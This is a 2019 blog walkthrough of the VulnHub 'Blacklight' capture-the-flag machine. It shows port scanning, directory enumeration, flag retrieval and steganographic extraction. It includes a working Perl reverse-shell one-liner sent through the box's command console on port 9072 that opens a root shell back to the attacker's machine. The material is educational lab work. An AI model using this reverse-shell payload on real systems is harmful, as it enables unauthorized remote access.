Tuesday, October 15, 2019

VulnHub: Blacklight Walkthrough

Lets first start off with an nmap scan of the remote host. 

root@ubuntu:~# nmap -sS -sV -sC -Pn -O -T5 -p- 192.168.0.40

Starting Nmap 7.60 ( https://nmap.org ) at 2019-10-15 13:39 MDT
Nmap scan report for 192.168.0.40
Host is up (0.00049s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: BLACKLIGHT
9072/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequest, DNSVersionBindReq, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, X11Probe: 
|_    BLACKLIGHT console mk1. Type .help for instructions
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9072-TCP:V=7.60%I=7%D=10/15%Time=5DA62126%P=x86_64-pc-linux-gnu%r(N
SF:ULL,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20inst
SF:ructions\n")%r(GenericLines,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\
SF:x20\.help\x20for\x20instructions\n")%r(GetRequest,34,"BLACKLIGHT\x20con
SF:sole\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(HTTPOption
SF:s,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instru
SF:ctions\n")%r(RTSPRequest,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20
SF:\.help\x20for\x20instructions\n")%r(RPCCheck,34,"BLACKLIGHT\x20console\
SF:x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(DNSVersionBindR
SF:eq,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instr
SF:uctions\n")%r(DNSStatusRequest,34,"BLACKLIGHT\x20console\x20mk1\.\x20Ty
SF:pe\x20\.help\x20for\x20instructions\n")%r(Help,34,"BLACKLIGHT\x20consol
SF:e\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(SSLSessionReq
SF:,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instruc
SF:tions\n")%r(TLSSessionReq,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x2
SF:0\.help\x20for\x20instructions\n")%r(Kerberos,34,"BLACKLIGHT\x20console
SF:\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(SMBProgNeg,34,
SF:"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instruction
SF:s\n")%r(X11Probe,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x
SF:20for\x20instructions\n")%r(FourOhFourRequest,34,"BLACKLIGHT\x20console
SF:\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(LPDString,34,"
SF:BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instructions
SF:\n")%r(LDAPSearchReq,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.he
SF:lp\x20for\x20instructions\n")%r(LDAPBindReq,34,"BLACKLIGHT\x20console\x
SF:20mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(SIPOptions,34,"B
SF:LACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\
SF:n")%r(LANDesk-RC,34,"BLACKLIGHT\x20console\x20mk1\.\x20Type\x20\.help\x
SF:20for\x20instructions\n")%r(TerminalServer,34,"BLACKLIGHT\x20console\x2
SF:0mk1\.\x20Type\x20\.help\x20for\x20instructions\n")%r(NCP,34,"BLACKLIGH
SF:T\x20console\x20mk1\.\x20Type\x20\.help\x20for\x20instructions\n");
MAC Address: 08:00:27:73:DB:5C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 334.99 seconds
root@ubuntu:~#

NMAP found two open ports 80 and 9072. lets fire up dirb and start looking for some interesting directories we can browse. 

---- Scanning URL: http://192.168.0.40/ ----
==> DIRECTORY: http://192.168.0.40/css/                                                                                                                 
==> DIRECTORY: http://192.168.0.40/fonts/                                                                                                               
==> DIRECTORY: http://192.168.0.40/footer/                                                                                                              
==> DIRECTORY: http://192.168.0.40/img/                                                                                                                 
+ http://192.168.0.40/index.html (CODE:200|SIZE:1759)                                                                                                   
==> DIRECTORY: http://192.168.0.40/javascript/                                                                                                          
==> DIRECTORY: http://192.168.0.40/js/                                                                                                                  
+ http://192.168.0.40/robots.txt (CODE:200|SIZE:40)                                                                                                     
+ http://192.168.0.40/server-status (CODE:403|SIZE:300)                                                                                                 
                                                                                                                                                        
---- Entering directory: http://192.168.0.40/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                        
---- Entering directory: http://192.168.0.40/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                        
---- Entering directory: http://192.168.0.40/footer/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                        
---- Entering directory: http://192.168.0.40/img/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                        
---- Entering directory: http://192.168.0.40/javascript/ ----
==> DIRECTORY: http://192.168.0.40/javascript/jquery/                                                                                                   
                                                                                                                                                        
---- Entering directory: http://192.168.0.40/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                        
---- Entering directory: http://192.168.0.40/javascript/jquery/ ----
+ http://192.168.0.40/javascript/jquery/jquery (CODE:200|SIZE:268026)

Dirb came back with some interesting results which lead to nothing really. Our next step is to see if a robots.txt file exists. 

User-agent: *
flag1.txt
blacklight.dic

We got the robots.txt file with two entries in it one of them being a flag. The other file seems to be a dictonrary file we will save for later use. 

{flag1:fc4c7223964a26b152823d14f129687207e7fe15}

9072. The secret is at home.

Lets move on to the port 9072. This port seem to be some sort of remote command shell allowing you to run commands. There is one caveat thought, you are limited to only using two commands then the server locks itself from being used. We first try the readhash command to retereive a hash. 

b5f4723bd6df85b54b0905bd6d734be9ef1cc1eb977413a932a828b5c52ef5a6

The other command avaiable to us are exec and quit. Lets try to exec a reverse connect shell. 

BLACKLIGHT console mk1. Type .help for instructions
.help
.readhash - Get one step closer
.exec  - Execute commands
.quit - Exit the server

.exec perl -e 'use Socket;$i="192.168.0.42";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

We got a successful connect back as root! now lets move on to finding the other flags. We cd to the /home directory where the clue led us to eariler to find the secret. 

root@blacklight:/home# cd blacklight

root@blacklight:/home/blacklight# ls -la

total 48
drwxr-xr-x 6 blacklight blacklight 4096 Jun  7  2018 .
drwxr-xr-x 3 root       root       4096 Jun  7  2018 ..
-rw------- 1 blacklight blacklight 1019 Jun  8  2018 .bash_history
-rw-r--r-- 1 blacklight blacklight  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 blacklight blacklight 3771 Apr  4  2018 .bashrc
drwx------ 2 blacklight blacklight 4096 Jun  7  2018 .cache
-rwxrwxr-x 1 blacklight blacklight 1019 Jun  7  2018 console.rb
drwx------ 3 blacklight blacklight 4096 Jun  7  2018 .gnupg
-rw-r--r-- 1 root       root         65 Jun  7  2018 hash.txt
drwxrwxr-x 3 blacklight blacklight 4096 Jun  7  2018 .local
-rw-r--r-- 1 blacklight blacklight  666 Jun  7  2018 .profile
drwxr-xr-x 2 root       root       4096 Jun  7  2018 .secret
-rw-r--r-- 1 blacklight blacklight    0 Jun  7  2018 .sudo_as_admin_successful
root@blacklight:/home/blacklight#

We download the flag2.jpg and use the steg program 'outguess' to read the flag contained in the image. 

sam@ubuntu:~$ outguess -r flag2-inside.jpg flag2.txt
Reading flag2-inside.jpg....
Extracting usable bits:   18496 bits
Steg retrieve: seed: 180, len: 133
sam@ubuntu:~$ cat flag2.txt 
{flag2:88ea7554cbc7e89526943e9ad5d3ce2ed5ec3db4}

Francis Bacon says: 
BAAAAAABAAAAAAAAAABB AABAABAABAAAABA AAAABAAAAAAAABAABBABABBAA
sam@ubuntu:~$
at

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